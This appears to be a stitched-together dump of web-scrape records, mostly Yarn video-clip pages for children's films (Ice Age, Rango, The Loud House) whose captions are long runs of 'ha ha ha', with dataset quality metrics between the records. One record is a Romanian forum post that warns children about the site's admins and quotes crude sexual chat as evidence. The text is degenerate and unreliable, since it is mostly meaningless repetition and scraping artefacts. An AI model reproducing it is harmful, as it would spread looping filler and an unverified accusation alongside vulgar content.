ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha\nIce Age (2002)\n4.4s\nHa ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha\nRango\n22.6s\nHa ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha\nAlvin and the Chipmunks: The Squeakquel (2009)\n2.7s\nha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha\nIce Age (2002)\n4.4s\nHa ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha\nBingo\n1.5s\nHa ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha\nCars 3\n2.6s\nHa ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha\nThe Loud House\n2.2s\nHa ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha\nHotel Transylvania 2 (2015)\n2.3s\nHa ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha\nThe Loud House\n0.8s\nHa ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha","num_words":1004,"character_repetition_ratio":0.699,"word_repetition_ratio":0.776,"special_characters_ratio":0.34,"stopwords_ratio":0.005,"flagged_words_ratio":0.0,"lang_id_score":0.961,"perplexity_score":194331.2,"cluster_detection":1} +{"text":"copii atentzie la admini sub nici o forma sa nu va intalnitzi cu ei face to face pentru ca suntetzi in mare pericol. Evidence :\nSharinGod: taci ma\nSharinGod: muje\nneme: _)_\nneme: ba\nneme: tre sa ma imbeti zilele astea\nneme: eu te fut in cur dupa aia\nneme:\nSharinGod: ?\nQuote\nLink to comment\nShare on other sites\nMore sharing options...\nP1tbull\nPosted September 13, 2007\nP1tbull\nActive Members\n197\nReport\nShare\nPosted September 13, 2007\nDoar atat pot zice:\nQuote\nLink to comment\nShare on other sites\nMore sharing options...\nGuest Nemessis\nPosted September 13, 2007\nGuest Nemessis\nGuests\nReport\nShare\nPosted September 13, 2007\nha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha","num_words":498,"character_repetition_ratio":0.647,"word_repetition_ratio":0.661,"special_characters_ratio":0.303,"stopwords_ratio":0.002,"flagged_words_ratio":0.0,"lang_id_score":0.882,"perplexity_score":148457.1,"cluster_detection":1} +{"text":"YARN | ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha | Alvin and the Chipmunks: The Squeakquel (2009) | Video clips by quotes | c5d42ec3 | 紗\nHOT\nAPP\nQUIZZES\nDISCOVER\nYARNS\nEMOJI\nMore\nCREATE STORIES\nPHRASES\nNUDGE CLIPS\nCONTENT REQUEST\nLOGIN\nHOT\nAPP\nDISCOVER\nYARNS\nEMOJI\nSTORY\nPHRASES\nNUDGE CLIPS\nREQUEST CONTENT\n×\nYarn is the best way to find video clips by quote. Find the exact moment in a TV show, movie, or music video you want to share. Easily move forward or backward to get to the perfect spot. It's available on the web and also on Android and iOS.\nha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha\nAlvin and the Chipmunks: The Squeakquel (2009)\nMore clips of this video\nRelated play\nDisable\nha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha\nLike Embed Gif Yarn Story Make Meme Share\nCopy the URL for easy sharing\nhttps:\/\/memes.yarn.co\/yarn-clip\/c5d42ec3-1efd-4d79-a166-5ebb241d9b51\n😎\n😐\n😂\n😘\n😳\n😍\n#sorry\n#highfive\n#yawning\n#please\nAlvin and the Chipmunks: The Squeakquel (2009)\n2.7s\nha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha\nIce Age (2002)\n1s\nHa ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha\nThe Tigger Movie\n1.5s\nHa ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha\nThe Muppet Show (1976) - S02E14 Elton John\n1s\nha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha!\nThe Loud House\n2.1s\nHa ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha\nIce Age (2002)\n1s\nHa ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha\nIce Age (2002)\n4.4s\nHa ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha\nRango\n22.6s\nHa ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha\nAlvin and the Chipmunks: The Squeakquel (2009)\n2.7s\nha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha\nIce Age (2002)\n4.4s\nHa ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha\nBingo\n1.5s\nHa ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha\nCars 3\n2.6s\nHa ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha\nThe Loud House\n2.2s\nHa ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha\nHotel Transylvania 2 (2015)\n2.3s\nHa ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha\nThe Loud House\n0.8s\nHa ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha\nIncredibles 2\n3s\nHa ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha","num_words":1218,"character_repetition_ratio":0.686,"word_repetition_ratio":0.72,"special_characters_ratio":0.329,"stopwords_ratio":0.007,"flagged_words_ratio":0.0,"lang_id_score":0.941,"perplexity_score":162755.7,"cluster_detection":1} +{"text":"YARN | Ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha | The Loud House | Video clips by quotes | 8a0be2ea | 紗\nHOT\nAPP\nQUIZZES\nDISCOVER\nYARNS\nEMOJI\nMore\nCREATE STORIES\nPHRASES\nNUDGE CLIPS\nCONTENT REQUEST\nLOGIN\nHOT\nAPP\nDISCOVER\nYARNS\nEMOJI\nSTORY\nPHRASES\nNUDGE CLIPS\nREQUEST CONTENT\n×\nYarn is the best way to find video clips by quote. Find the exact moment in a TV show, movie, or music video you want to share. Easily move forward or backward to get to the perfect spot. It's available on the web and also on Android and iOS.\nHa ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha\nThe Loud House\nMore clips of this video\nRelated play\nDisable\nHa ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha\nLike Embed Gif Yarn Story Make Meme Share\nCopy the URL for easy sharing\nhttps:\/\/memes.yarn.co\/yarn-clip\/8a0be2ea-159a-4701-b0cd-6d51bae0aec7\n😎\n😐\n😂\n😘\n😳\n😍\n#yes\n#cool\n#sorry\n#ok\nIce Age (2002)\n1s\nHa ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha\nThe Tigger Movie\n1.5s\nHa ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha\nAlvin and the Chipmunks: The Squeakquel (2009)\n2.7s\nha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha\nAlvin and the Chipmunks: The Squeakquel (2009)\n2.7s\nha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha\nThe Muppet Show (1976) - S02E14 Elton John\n1s\nha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha!\nIce Age (2002)\n1s\nHa ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha\nIce Age (2002)\n4.4s\nHa ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha\nRango\n22.6s\nHa ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha\nAlvin and the Chipmunks: The Squeakquel (2009)\n2.7s\nha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha\nIce Age (2002)\n4.4s\nHa ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha\nBingo\n1.5s\nHa ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha\nCars 3\n2.6s\nHa ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha\nHotel Transylvania 2 (2015)\n2.3s\nHa ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha\nBingo\n1.5s\nHa ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha\nThe Loud House\n2.2s\nHa ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha\nThe Loud House\n0.8s\nHa ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha","num_words":1232,"character_repetition_ratio":0.7,"word_repetition_ratio":0.751,"special_characters_ratio":0.33,"stopwords_ratio":0.006,"flagged_words_ratio":0.0,"lang_id_score":0.955,"perplexity_score":173739.8,"cluster_detection":1} +{"text":"YARN | ha ha ha ha ha ha ha ha ha ha ha ha ha ha aha | The Little Mermaid 2: Return to the Sea | Video clips by quotes | 03ed2c7f | 紗\nHOT\nAPP\nQUIZZES\nDISCOVER\nYARNS\nEMOJI\nMore\nCREATE STORIES\nPHRASES\nNUDGE CLIPS\nCONTENT REQUEST\nLOGIN\nHOT\nAPP\nDISCOVER\nYARNS\nEMOJI\nSTORY\nPHRASES\nNUDGE CLIPS\nREQUEST CONTENT\n×\nYarn is the best way to find video clips by quote. Find the exact moment in a TV show, movie, or music video you want to share. Easily move forward or backward to get to the perfect spot. It's available on the web and also on Android and iOS.\nha ha ha ha ha ha ha ha ha ha ha ha ha ha aha\nThe Little Mermaid 2: Return to the Sea\nSearch clips of this video\nRelated play\nDisable\nha ha ha ha ha ha ha ha ha ha ha ha ha ha aha\nLike Embed Gif Yarn Story Make Meme Share\nCopy the URL for easy sharing\nhttps:\/\/memes.yarn.co\/yarn-clip\/03ed2c7f-ae8a-4e51-b2c1-22ea4f1fca83\n😎\n😐\n😂\n😘\n😳\n😍\n#goodmorning\n#surprise\n#hugs\n#yelling\nIce Age (2002)\n1s\nHa ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha\nThe Tigger Movie\n1.5s\nHa ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha\nAlvin and the Chipmunks: The Squeakquel (2009)\n2.7s\nha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha\nAlvin and the Chipmunks: The Squeakquel (2009)\n2.7s\nha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha\nThe Muppet Show (1976) - S02E14 Elton John\n1s\nha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha!\nThe Loud House\n2.1s\nHa ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha\nIce Age (2002)\n1s\nHa ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha\nIce Age (2002)\n4.4s\nHa ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha\nRango\n22.6s\nHa ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha\nAlvin and the Chipmunks: The Squeakquel (2009)\n2.7s\nha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha\nIce Age (2002)\n4.4s\nHa ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha\nBingo\n1.5s\nHa ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha\nCars 3\n2.6s\nHa ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha\nThe Loud House\n2.2s\nHa ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha\nBingo\n1.5s\nHa ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha\nThe Loud House\n0.8s\nHa ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha","num_words":1133,"character_repetition_ratio":0.656,"word_repetition_ratio":0.722,"special_characters_ratio":0.326,"stopwords_ratio":0.006,"flagged_words_ratio":0.0,"lang_id_score":0.904,"perplexity_score":154989.6,"cluster_detection":1} +{"text":"YARN | Ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha | The Tigger Movie | Video clips by quotes | 7471b3b6 | 紗\nHOT\nAPP\nQUIZZES\nDISCOVER\nYARNS\nEMOJI\nMore\nCREATE STORIES\nPHRASES\nNUDGE CLIPS\nCONTENT REQUEST\nLOGIN\nHOT\nAPP\nDISCOVER\nYARNS\nEMOJI\nSTORY\nPHRASES\nNUDGE CLIPS\nREQUEST CONTENT\n×\nYarn is the best way to find video clips by quote. Find the exact moment in a TV show, movie, or music video you want to share. Easily move forward or backward to get to the perfect spot. It's available on the web and also on Android and iOS.\nHa ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha\nThe Tigger Movie\nMore clips of this video\nRelated play\nDisable\nHa ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha\nLike Embed Gif Yarn Story Make Meme Share\nCopy the URL for easy sharing\nhttps:\/\/memes.yarn.co\/yarn-clip\/7471b3b6-137c-40ce-aaf3-ae95ff22a03e\n😎\n😐\n😂\n😘\n😳\n😍\n#yelling\n#jump\n#hugs\n#why\nIce Age (2002)\n1s\nHa ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha\nAlvin and the Chipmunks: The Squeakquel (2009)\n2.7s\nha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha\nAlvin and the Chipmunks: The Squeakquel (2009)\n2.7s\nha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha\nThe Muppet Show (1976) - S02E14 Elton John\n1s\nha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha!\nThe Loud House\n2.1s\nHa ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha\nIce Age (2002)\n1s\nHa ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha\nIce Age (2002)\n4.4s\nHa ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha\nRango\n22.6s\nHa ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha\nAlvin and the Chipmunks: The Squeakquel (2009)\n2.7s\nha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha\nIce Age (2002)\n4.4s\nHa ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha\nBingo\n1.5s\nHa ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha\nCars 3\n2.6s\nHa ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha\nThe Loud House\n2.2s\nHa ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha\nBingo\n1.5s\nHa ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha\nThe Loud House\n0.8s\nHa ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha\nIncredibles 2\n3s\nHa ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha","num_words":1219,"character_repetition_ratio":0.697,"word_repetition_ratio":0.758,"special_characters_ratio":0.329,"stopwords_ratio":0.006,"flagged_words_ratio":0.0,"lang_id_score":0.953,"perplexity_score":171302.8,"cluster_detection":1} +{"text":"Yarn is the best way to find video clips by quote. Find the exact moment in a TV show, movie, or music video you want to share. Easily move forward or backward to get to the perfect spot. It's available on the web and also on Android and iOS.\nLittle momma’s girl Ha ha ha ha\nTurning Red\nMore clips of this video\nRelated play\nDisable\nLittle momma’s girl Ha ha ha ha\nLike Embed Gif Yarn Story Make Meme Share\nCopy the URL for easy sharing\nhttps:\/\/memes.yarn.co\/yarn-clip\/b726218a-c049-41ff-aade-b80a53697ef3\n😎\n😐\n😂\n😘\n😳\n😍\n#goodluck\n#loveyou\n#gasps\n#cool\nThe Little Mermaid 2: Return to the Sea\n1.5s\nha ha ha ha ha ha ha ha ha ha ha ha ha ha aha\nIce Age (2002)\n1s\nHa ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha\nThe Tigger Movie\n1.5s\nHa ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha\nAlvin and the Chipmunks: The Squeakquel (2009)\n2.7s\nha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha\nAlvin and the Chipmunks: The Squeakquel (2009)\n2.7s\nha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha\nThe Muppet Show (1976) - S02E14 Elton John\n1s\nha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha!\nThe Loud House\n2.1s\nHa ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha\nIce Age (2002)\n1s\nHa ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha\nIce Age (2002)\n4.4s\nHa ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha\nRango\n22.6s\nHa ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha\nAlvin and the Chipmunks: The Squeakquel (2009)\n2.7s\nha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha\nIce Age (2002)\n4.4s\nHa ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha\nBingo\n1.5s\nHa ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha\nCars 3\n2.6s\nHa ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha\nHotel Transylvania 2 (2015)\n2.3s\nHa ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha\nIncredibles 2\n3s\nHa ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha 